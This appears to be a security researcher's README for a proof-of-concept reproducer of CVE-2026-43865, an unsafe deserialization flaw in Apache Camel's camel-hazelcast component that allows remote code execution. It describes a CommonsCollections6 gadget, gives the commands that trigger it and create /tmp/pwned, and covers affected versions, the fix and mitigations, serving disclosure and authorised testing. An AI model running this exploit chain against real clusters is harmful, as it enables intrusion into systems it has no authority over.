
Reproducer for CVE-2026-43865 — Apache Camel camel-hazelcast default-configured instance unsafe Java deserialization (RCE)
This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-hazelcast
component, tracked as CVE-2026-43865. When Camel builds the Hazelcast Config itself — i.e. when no
user-supplied HazelcastInstance, hazelcastConfigUri, or referenced Config bean is provided — it applies
no Java deserialization filter (neither Hazelcast's JavaSerializationFilterConfig nor a Camel-side
ObjectInputFilter). Objects arriving over the Hazelcast cluster protocol are therefore deserialized inside
Hazelcast's serialization layer (ObjectInputStream.readObject) with no class restrictions. An attacker who can
join or otherwise reach the cluster can publish a crafted serialized object that is deserialized on every Camel
node — remote code execution, present by default and requiring no opt-in endpoint configuration.
Advisory: https://camel.apache.org/security/CVE-2026-43865.html
This is distinct from the Hazelcast-library advisories CVE-2016-10750 / CVE-2022-36418 (which concern Hazelcast's own code). Here the flaw is Camel not applying the deserialization protection Hazelcast provides.
When no instance/config is supplied, HazelcastDefaultComponent builds the instance from the stock config and
sets no serialization filter:
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // no JavaSerializationFilterConfig
}
The fix inserts a default filter (whitelist java./javax./org.apache.camel., blacklist java.net.) on
instances Camel creates itself, leaving user-supplied Config/HazelcastInstance untouched:
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);
Any structure that hands the deserialized object to Camel triggers it. This PoC uses a queue consumer in
Poll mode, where IQueue.poll() deserializes the head element before Camel routes it:
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, no filter
exchange.getIn().setBody(body);
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel builds the default (unfiltered) instance
.log("Consumed: ${body.class.name}");
The victim is the Camel node (a Hazelcast member). The attacker is any party that can reach the cluster.
This self-contained PoC runs a Hazelcast client (the attacker) that joins the same single-member cluster
(dev on 127.0.0.1:5701) and offers a gadget to the queue the victim consumes.
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: hazelcast-queue consumer (default instance)
│ ├── Gadget.java # CommonsCollections6 gadget, fires during Hazelcast deserialization
│ └── ExploitController.java # attacker: Hazelcast client offers the gadget to the queue
└── resources/
└── application.properties
In a real attack the serialized bytes are produced by the attacker's own Hazelcast client/member; only the victim needs the gadget chain on its classpath. This PoC builds the gadget in-process, which is why the JVM runs with
--add-opens java.base/java.util=ALL-UNNAMED— a gadget-construction detail, unrelated to the vulnerability.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Offered gadget to hazelcast queue 'cve' as a cluster client.
# The Camel node's queue.poll() deserialized it via Hazelcast (no filter).
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43865 ls -la /tmp/pwned
docker compose down
Any Camel route using a hazelcast consumer (hazelcast-topic, hazelcast-queue, hazelcast-seda,
hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set), or the
HazelcastAggregationRepository / HazelcastIdempotentRepository, whenever the managed instance is created
from Camel's default configuration and an attacker can reach the cluster.
HazelcastInstance / hazelcastConfigUri / Config bean).commons-collections:3.2.1).Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), which applies a default Hazelcast
JavaSerializationFilterConfig to instances Camel creates from its own default configuration.
Until upgrading:
JavaSerializationFilterConfig, or the
JVM-wide -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-hazelcast (any consumer + HazelcastAggregationRepository / HazelcastIdempotentRepository) |
| Affected Class | org.apache.camel.component.hazelcast.HazelcastDefaultComponent (default-config instance creation) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Impact | Remote Code Execution (RCE) on every Camel node in the cluster |
| Trigger | A hazelcast consumer/repository whose managed instance is created from Camel's default configuration |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23414 |
| Reporter | gaorenyusi |